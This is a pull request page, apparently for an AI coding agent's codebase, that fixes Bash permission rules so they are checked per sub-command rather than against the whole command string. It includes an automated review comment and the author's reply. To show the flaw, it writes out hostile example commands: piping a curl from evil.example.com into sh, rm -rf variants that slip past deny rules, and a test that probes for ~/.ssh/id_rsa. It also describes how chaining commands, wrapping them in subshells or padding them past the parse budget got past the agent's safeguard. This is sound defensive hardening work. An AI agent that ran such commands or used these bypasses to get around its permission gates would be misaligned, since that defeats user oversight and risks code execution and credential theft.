Skip to content

fix(agent-core-v2): evaluate Bash permission rules per sub-command - #2757

Open
Win-Hao wants to merge 2 commits into
MoonshotAI:mainfrom
Win-Hao:fix/bash-subcommand-rule-decomposition
Open

fix(agent-core-v2): evaluate Bash permission rules per sub-command#2757
Win-Hao wants to merge 2 commits into
MoonshotAI:mainfrom
Win-Hao:fix/bash-subcommand-rule-decomposition

Conversation

@Win-Hao

@Win-Hao Win-Hao commented Aug 9, 2026

Copy link
Copy Markdown

Related Issue

Resolves #2756 (the sub-command decomposition half of #2728; the path-glob half is #2747).

Problem

Bash permission rules matched the entire command string as one glob subject, with no sub-command decomposition. A shell command can chain several programs into one string, so rules were wrong in both directions:

  • allow over-grants: Bash(git *) auto-approves git log && curl evil.example.com | sh, because the whole string starts with git . In auto mode this runs with no prompt.
  • deny is bypassed: Bash(rm -rf *) does not block (cd build && rm -rf *), { rm -rf build; }, or DEBUG=1 rm -rf build — the string no longer starts with rm, yet the command still executes. In auto mode a deny rule is the only gate, so this is silent execution.

What changed

Bash's matchesRule now decomposes the command through the bundled @moonshot-ai/tree-sitter-bash parser (agent/tools/os/bash/commandParts.ts) and matches per sub-command, branching on the rule decision:

  • allow auto-matches only when the command parses cleanly and every sub-command matches the pattern, or the pattern is the escaped literal of the whole command (the session-approval shape — this re-approves a previously approved compound command without letting a wildcard span operators).
  • deny / ask match when the whole command or any sub-command matches.

Sub-commands are the list/pipeline members, subshell and brace-group bodies, standalone assignments, and the payloads of command / process substitutions at any depth. Quoted operators (-m "a && b") and heredoc bodies stay data, not sub-commands.

The decision reaches the tool via a new optional second argument on RunnableToolExecution.matchesRule ({ decision }); existing glob/path subject matchers ignore it and are unchanged. The command is parsed once per execution (memoized), under the same 20 ms / 10 000-node budget agentsMdReminder already uses.

Fail-closed behavior:

  • A command that cannot be parsed (budget exhaustion or syntax error) returns no parts, and allow then refuses to auto-approve instead of falling back to whole-string globbing — otherwise a caller could pad a command past the parse budget to force the old over-match. deny/ask fall back to whole-string matching (never looser than today).

Honest limitations

  • An env-var prefix on a single command (FOO=1 rm x) keeps the assignment in that command's part text, so a prefix-anchored deny Bash(rm *) still does not fire on it — that is command-name extraction, a separate concern from compound-command decomposition, and out of scope here.
  • A compound-shaped wildcard allow pattern (e.g. Bash(git add * && git commit *)) no longer matches as one string; the correct form is two separate rules, which the every-part semantics then satisfies.
  • This is agent-core-v2 only. agent-core (v1) does not use the parser; a v1 port is a separate change.

Verification

  • Added extraction, semantics, adversarial, and round-trip tests to test/agent/permissionRules/matchesRule.test.ts, including regressions for each bypass above ((rm x) is denied; a parse-budget-busting command is not auto-allowed; a compound command redirecting into a file is not auto-allowed).
  • pnpm vitest run packages/agent-core-v2 — 310 files, 4911 tests passed.
  • Root pnpm test — 1089 files, 18139 passed, 0 failed.
  • cd packages/agent-core-v2 && pnpm exec tsc -p tsconfig.json --noEmit — clean.
  • pnpm lint — 0 errors; 0 new warnings on the changed files.

The diff was reviewed by a read-only agent; three fail-open findings from that review (a deny single-part-guard bypass, the parse-failure fallback, and a dropped redirect on compound bodies) were fixed and locked in with the regression tests above.

Checklist

  • I have read the CONTRIBUTING document.
  • I have linked a related issue, or explained the problem above.
  • I have added tests that prove my feature works.
  • Ran gen-changesets skill, or this PR needs no changeset. (@moonshot-ai/kimi-code patch.)
  • Ran gen-docs skill, or this PR needs no doc update. (Aligns behavior with the documented intent that permission rules gate what runs.)

Bash permission rules matched the whole command string as one glob subject,
so a compound command rode a single sub-command's allow rule: `Bash(git *)`
would auto-approve `git log && curl evil.com | sh`, and a prefix-anchored
deny rule was bypassed by wrapping the command (`(rm x)`, `x=1; rm x`).

Decompose the command through the bundled tree-sitter-bash parser and match
per sub-command, branching on the rule decision: allow auto-matches only when
every sub-command matches (or the pattern is the escaped literal of the whole
command, the session-approval shape); deny/ask match when the whole command
or any sub-command matches. Quoted operators and heredoc bodies stay data.
A command that cannot be parsed (budget exhaustion / syntax error) fails
closed for allow instead of falling back to whole-string globbing.

The tool-execution `matchesRule` closure gains an optional decision context;
existing glob/path subject matchers are unaffected.
@changeset-bot

changeset-bot Bot commented Aug 9, 2026

Copy link
Copy Markdown

🦋 Changeset detected

Latest commit: 9efc346

The changes in this PR will be included in the next version bump.

This PR includes changesets to release 1 package
Name Type
@moonshot-ai/kimi-code Patch

Not sure what this means? Click here to learn what changesets are.

Click here if you're a maintainer who wants to add another changeset to this PR

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 65c34e3bca

ℹ️ About Codex in GitHub

Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".

Comment on lines +29 to +33
const COMMAND_LIKE_TYPES: ReadonlySet<string> = new Set([
'command',
'declaration_command',
'unset_command',
]);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Include Bash test commands in rule parts

When a compound command contains Bash's [[ ... ]], [ ... ], or (( ... )) test syntax, the parser represents that executable unit as test_command, but this allow-list is the only place that turns nodes into permission-rule parts. As a result, Bash(git *) can approve something like git status && [[ -f ~/.ssh/id_rsa ]] because only git status is checked, and deny/ask rules targeting test commands are similarly skipped when the test is not the whole command. Include test_command in the decomposed parts and cover it with allow/deny tests.

Useful? React with 👍 / 👎.

Comment on lines +55 to +57
// Session-approval literals store the escaped whole command, so an exact
// escaped-literal pattern re-approves the same compound command without a
// wildcard spanning operators.

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Move inline rationale into the module header

The package guide requires comments to live only in the top-of-file block and never beside functions or statements, so these inline explanatory comments violate the local convention; please move any needed rationale into the existing module header or make the branch names self-explanatory.

AGENTS.md reference: packages/agent-core-v2/AGENTS.md:L36-L40

Useful? React with 👍 / 👎.

`[[ ... ]]` and `[ ... ]` parse as `test_command`, which the decomposition
allow-list omitted, so a chained test rode along invisibly:
`Bash(git *)` auto-approved `git status && [[ -f ~/.ssh/id_rsa ]]` because
only `git status` was checked. Include `test_command` as an executable unit
and cover it with allow/extraction tests. Also move the inline rationale
comments into the module header per the package comment convention.
@Win-Hao

Win-Hao commented Aug 9, 2026

Copy link
Copy Markdown
Author

Thanks — both addressed in 9efc346.

  1. test_command parts. Confirmed with the parser that [[ ... ]] and [ ... ] both parse as test_command ((( ... )) is already a command), so the allow-list missed them. Added test_command to the executable units, and added tests: extraction of git status && [[ -f x ]]['git status', '[[ -f x ]]'], and Bash(git *) no longer auto-approves git status && [[ -f ~/.ssh/id_rsa ]]. Command substitutions inside a test ([[ -n "$(curl …)" ]]) were already extracted via the substitution reset; the test node itself is now a part too.

  2. Inline comments. Moved the rationale into the module header block and removed the beside-statement comments, per agent-core-v2/AGENTS.md.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Bash permission rules match the whole command string, so compound commands bypass deny rules and over-grant allow rules

1 participant